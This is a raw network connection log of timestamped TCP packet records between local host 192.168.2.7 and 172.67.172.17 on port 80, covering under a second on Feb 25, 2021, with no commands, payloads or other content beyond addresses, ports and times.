Feb 25, 2021 15:14:52.542669058 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.542747974 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.543915033 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.543945074 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.544004917 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.545106888 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.545136929 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.545201063 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.546353102 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.547013044 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.547040939 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.547080994 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.571928978 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.571962118 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.572021961 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.572952032 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.572973013 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.573007107 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.574544907 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.574565887 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.574619055 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.575613022 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.575635910 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.575675011 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.576361895 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.576384068 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.576474905 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.577642918 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.577668905 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.577708960 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.578898907 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.578922033 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.578955889 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.580091000 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.580116987 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.580147982 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.581310034 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.581336975 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.581374884 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.582639933 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.582667112 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.582705021 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.583775997 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.583802938 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.583842039 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.585607052 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.585632086 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.585665941 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.586713076 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.586736917 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.586771965 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.588284969 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.588311911 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.588346958 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.589360952 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.589412928 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.589426041 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.590421915 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.590447903 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.590501070 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.591531038 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.591555119 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.591592073 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.592628002 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.592655897 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.592694044 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.593799114 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.593827963 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.593880892 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.594942093 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.594966888 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.595011950 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.596064091 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.596091986 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.596134901 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.597127914 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.597155094 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.597208977 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.598169088 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.598196983 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.598294973 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.599589109 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.599616051 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.600152969 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.624614954 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.624655008 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.624754906 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.625545979 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.625569105 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.625602961 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.627171993 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.627196074 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.627243996 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.628163099 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.628187895 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.628237963 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.628925085 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.628947020 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.628976107 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.630278111 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.630316973 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.630347967 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.631584883 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.631612062 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.631702900 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.632689953 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.632715940 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.632762909 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.634018898 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.634041071 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.634098053 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.635229111 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.635248899 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.635301113 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.636312008 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.636337996 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.636394978 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.638195038 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.638219118 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.638297081 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.639260054 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.639277935 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.639338017 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.640948057 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.640966892 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.641019106 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.642064095 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.642081022 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.642138004 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.643048048 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.643079042 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.643161058 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.644092083 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.644113064 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.644155979 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.645181894 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.645200014 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.645245075 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.646343946 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.646362066 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.646406889 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.647551060 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.647569895 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.647614002 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.648669004 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.648691893 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.648750067 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.649686098 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.649713039 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.649761915 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.650933027 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.650959015 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.651015997 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.652673006 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.652735949 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.677598000 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.677664995 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.677773952 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.678122044 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.678167105 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.678227901 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.679809093 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.679852009 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.679923058 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.680830956 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.680875063 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.680934906 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.681508064 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.681551933 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.681610107 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.682907104 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.682948112 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.683005095 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.684248924 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.684293032 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.684364080 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.684617996 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.684670925 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.684815884 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.686680079 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.686723948 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.686790943 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.687897921 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.687951088 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.688018084 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.688930035 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.688971043 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.689035892 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.689318895 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.689361095 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.689502001 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.690114021 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.690159082 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.690227032 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.690798044 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.690839052 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.690901041 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.691590071 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.691633940 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.691700935 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.692325115 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.692367077 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.692430973 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.693113089 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.693155050 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.693221092 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.693840981 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.693883896 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.693949938 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.694582939 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.694626093 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.694724083 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.695319891 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.695362091 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.695430040 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.696171999 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.696214914 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.696280956 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.696847916 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.696890116 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.696954966 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.697587967 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.697628975 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.697710037 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.698368073 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.698410988 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.698476076 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.699074984 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.699117899 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.699191093 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.699841976 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.699882984 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.699950933 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.700683117 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.700726032 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.700797081 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.701430082 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.701472044 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.701541901 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.702198982 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.702244043 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.702311039 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.702867985 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.702912092 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.702970982 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.703581095 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.703625917 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.703685999 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.704346895 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.704400063 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.704462051 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.705077887 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.705121994 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.705183983 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.705842972 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.705884933 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.705951929 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.706594944 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.706638098 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.706701994 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.707343102 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.707389116 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.707458019 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.708076000 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.708122969 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.708184958 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.708834887 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.708873987 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.708937883 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.709590912 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.709635019 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.709698915 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.710421085 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.710474014 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.710539103 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.711081982 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.711127043 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.711189985 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.711915016 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.711957932 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.712024927 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.712611914 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.712656021 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.712714911 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.713355064 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.713429928 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.713489056 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.714091063 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.714108944 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.714339018 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.714828968 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.714833975 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.714895010 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.715538025 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.715572119 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.715640068 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.716340065 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.716376066 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.716427088 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.717048883 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.717073917 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.717183113 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.717827082 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.717849970 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.717921019 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.718575001 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.718596935 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.718657970 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.719300032 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.719319105 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.719367981 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.720067024 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.720094919 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.720139027 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.730432987 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.730463028 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.730595112 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.730720997 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.730746031 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.730798006 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.732425928 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.732453108 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.732525110 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.733478069 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.733498096 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.733587027 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.734179974 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.734204054 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.734261990 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.735563040 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.735585928 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.735640049 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.736850977 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.736879110 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.736929893 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.737293005 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.737318039 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.737359047 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.739466906 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.739568949 CET	80	49708	172.67.172.17	192.168.2.7
